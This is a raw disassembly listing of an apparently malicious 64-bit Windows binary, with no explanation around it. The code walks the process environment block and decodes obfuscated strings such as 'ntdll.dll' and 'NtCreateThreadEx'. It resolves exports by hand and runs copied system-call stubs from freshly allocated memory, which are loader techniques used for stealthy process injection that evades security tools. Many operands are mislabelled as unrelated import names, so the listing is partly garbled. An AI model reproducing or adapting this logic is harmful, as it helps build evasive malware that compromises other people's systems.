xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002599e
lea r15d, [rcx + 1]
mov r11d, r15d
mov rdx, qword [rsp + 0x70]
mov r12, qword [rbp - 0x80]
mov ecx, r11d
cmp word [r12 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + r8*2]
mov byte [r9 + r8], al
add r11d, r15d
add r8, r15
cmp r8, r10
jl 0x14002596e
mov r15d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x80], r10
je 0x1400259fa
mov rax, rcx
lea r9, [rbp + 0xd9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400259f3
add rax, r11
test edx, edx
jne 0x1400259de
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140026853
mov rax, qword [rbp - 0x68]
mov rax, qword [rax]
mov qword [rbp - 0x68], rax
cmp rax, qword [rbp + 0x218]
jne 0x14002591f
mov dword [rbp - 0x68], r9d
mov byte [rbp + 0x680], 0x5a
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x681], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x682], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x683], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x684], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x685], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x686], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x687], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x688], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x689], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x68a], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x68b], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x68c], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x68d], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x68e], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x68f], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x690], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x691], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x692], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x693], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + 0x694], al
xor eax, eax
mov byte [rbp + 0x695], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x681]
lea rcx, [rbp + 0x680]
call fcn.1400364e8
mov byte [rbp + rdi + 0x681], al
add rdi, r12
cmp rdi, rsi
jb 0x140025c66
xor edi, edi
lea r12d, [rdi + 0x15]
mov byte [rbp + 0x695], dil
mov byte [rbp + 0xb8], gethostname
lea r15d, [rdi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xb9], al
mov r9d, r15d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xba], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xbb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xbc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xbd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xbe], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xbf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xc0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + 0xc1], al
xor eax, eax
mov byte [rbp + 0xc2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xb9]
lea rcx, [rbp + 0xb8]
call fcn.140035cf8
mov byte [rbp + rdi + 0xb9], al
add rdi, r15
cmp rdi, 9
jb 0x140025daa
xor edi, edi
lea r15d, [rdi + 0x20]
mov byte [rbp + 0xc2], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140025f02
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140025e81
lea r12d, [rcx + 1]
mov r11d, r12d
mov rdx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r14 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + r8*2]
mov byte [r9 + r8], al
add r11d, r12d
add r8, r12
cmp r8, r10
jl 0x140025e51
mov r12d, reloc.WS2_32.dll_setsockopt
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140025edd
mov rax, rcx
lea r9, [rbp + 0xb9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140025ed6
add rax, r11
test edx, edx
jne 0x140025ec1
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140026ab1
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
xor edi, edi
cmp rax, qword [rbp - 0x70]
jne 0x140025e05
mov eax, edi
cmp dword [rbp - 0x68], edi
jl 0x14002e939
test eax, eax
js 0x14002e939
mov qword [rbp + 0xce0], rdi
mov byte [rbp + 0x2c0], reloc.WS2_32.dll_select
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c1], al
mov r9, r13
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c2], al
mov r9, r13
lea r8d, [rsi + 1]
mov dl, 0x43
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c3], al
mov r9, r13
lea r8d, [rsi + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c4], al
mov r9, r13
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c5], al
mov r9, r13
lea r8d, [rsi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c6], al
mov r9, r13
lea r8d, [rsi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c7], al
mov r9, r13
lea r8d, [rsi + 6]
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c8], al
mov r9, r13
lea r8d, [rsi + 7]
mov dl, 0x54
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2c9], al
mov r9, r13
lea r8d, [rsi + 8]
mov dl, 0x68
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2ca], al
mov r9, r13
lea r8d, [rsi + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2cb], al
mov r9, r13
lea r8d, [rsi + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2cc], al
mov r9, r13
lea r8d, [rsi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2cd], al
mov r9, r13
lea r8d, [rsi + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2ce], al
mov r9, r13
lea r8d, [rsi + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2cf], al
mov r9, r13
lea r8d, [rsi + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + 0x2d0], al
xor eax, eax
mov byte [rbp + 0x2d1], al
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2c1]
lea rcx, [rbp + 0x2c0]
call fcn.140035d70
mov byte [rbp + rdi + 0x2c1], al
add rdi, rsi
cmp rdi, r13
jb 0x1400260de
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x2d1], dil
mov byte [rbp + 0x108], select
lea ebx, [rsi - 0xb]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x109], al
mov r9d, ebx
lea ebx, [rsi - 0x13]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x10a], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x10b], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x10c], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x10d], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x10e], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x10f], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x110], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + 0x111], al
xor eax, eax
mov byte [rbp + 0x112], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x109]
lea rcx, [rbp + 0x108]
call fcn.140035cf8
mov byte [rbp + rdi + 0x109], al
add rdi, rbx
cmp rdi, 9
jb 0x140026221
mov ebx, reloc.WS2_32.dll_recvfrom
xor r9d, r9d
mov byte [rbp + 0x112], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140026f6b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140026301
lea r14d, [rcx + 1]
mov r11d, r14d
mov rdx, qword [rsp + 0x70]
mov r12, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r12 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + r8*2]
mov byte [r9 + r8], al
add r11d, r14d
add r8, r14
cmp r8, r10
jl 0x1400262ce
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx + 4]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002635d
mov rax, rcx
lea r9, [rbp + 0x109]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140026356
add rax, r11
test edx, edx
jne 0x140026341
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140026cfd
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x14002627e
jmp 0x140026f6b
mov rcx, qword [rbp - 0x48]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140024f8b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140024f8b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140024f8b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140024f8b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140024f8b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7d9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002641a
inc rax
test edi, edi
jne 0x140026405
xor r9d, r9d
test r8d, r8d
je 0x140026431
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x1400263f4
jmp 0x140024f8b
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140024f8b
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140024f8b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.140094c90
or dword [rbp + 0x10e44], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xfac0]
call fcn.140036bc4
lea rcx, [rbp + 0xfac0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0xfac0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x2b490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x1400264d7
mov esi, reloc.WS2_32.dll_sendto
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe58], eax
lea r9, [rbp + 0xe58]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xf08]
xor r8d, r8d
lea rdx, [rbp + 0xd40]
mov rcx, qword [rbp - 0x20]
call rdi
mov edi, eax
lea r9, [rbp + 0xe58]
mov r8d, dword [rbp + 0xe58]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400bcba0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400e8364], r9d
test edi, edi
jns 0x140024f8b
mov qword [rbp + 0xbd0], r9
jmp 0x140024f99
mov rcx, qword [rbp - 0x48]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400254ef
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400254ef
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400254ef
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400254ef
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1400254ef
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x719]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026681
inc rax
test edi, edi
jne 0x14002666c
test r8d, r8d
je 0x140026695
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x14002665b
jmp 0x1400254ef
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400254ef
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400254ef
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.140094c90
or dword [rbp + 0x121d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x10e50]
call fcn.140036bc4
lea rcx, [rbp + 0x10e50]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x10e50]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x2c490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002673c
mov r15d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x2c490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe4c], eax
lea r9, [rbp + 0xe4c]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0xf18]
xor r8d, r8d
lea rdx, [rbp + 0xd48]
mov rcx, qword [rbp - 0x20]
call rdi
mov edi, eax
lea r9, [rbp + 0xe4c]
mov r8d, dword [rbp + 0xe4c]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400e8364], r9d
test edi, edi
jns 0x1400254ef
mov qword [rbp - 0x48], r9
jmp 0x1400254fa
mov rcx, qword [rbp - 0x68]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140025a23
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140025a23
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140025a23
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140025a23
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rsp + 0x68], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp + 0x218], rax
test rax, rax
je 0x140025a23
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6b1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400268e8
inc rax
test edi, edi
jne 0x1400268d3
xor r9d, r9d
test r8d, r8d
je 0x140026901
inc rdx
cmp rdx, qword [rbp + 0x218]
jb 0x1400268c2
jmp 0x140025a23
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140025a23
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140025a23
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140094c90
or dword [rbp + 0x13564], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x121e0]
call fcn.140036bc4
lea rcx, [rbp + 0x121e0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp + 0x218], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x121e0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x2d490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x1400269ac
mov r13d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x2d490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp + 0x218]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe48], eax
lea r9, [rbp + 0xe48]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe48]
mov r8d, dword [rbp + 0xe48]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [r13 - 5]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
jmp 0x140025a27
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140025f02
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140025f02
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140025f02
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140025f02
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140025f02
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x681]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026b43
inc rax
test edi, edi
jne 0x140026b2e
xor edi, edi
test r8d, r8d
je 0x140026b58
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140026b1d
jmp 0x140025f02
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140025f02
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140025f02
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.140094c90
or dword [rbp + 0x148f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x13570]
call fcn.140036bc4
lea rcx, [rbp + 0x13570]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
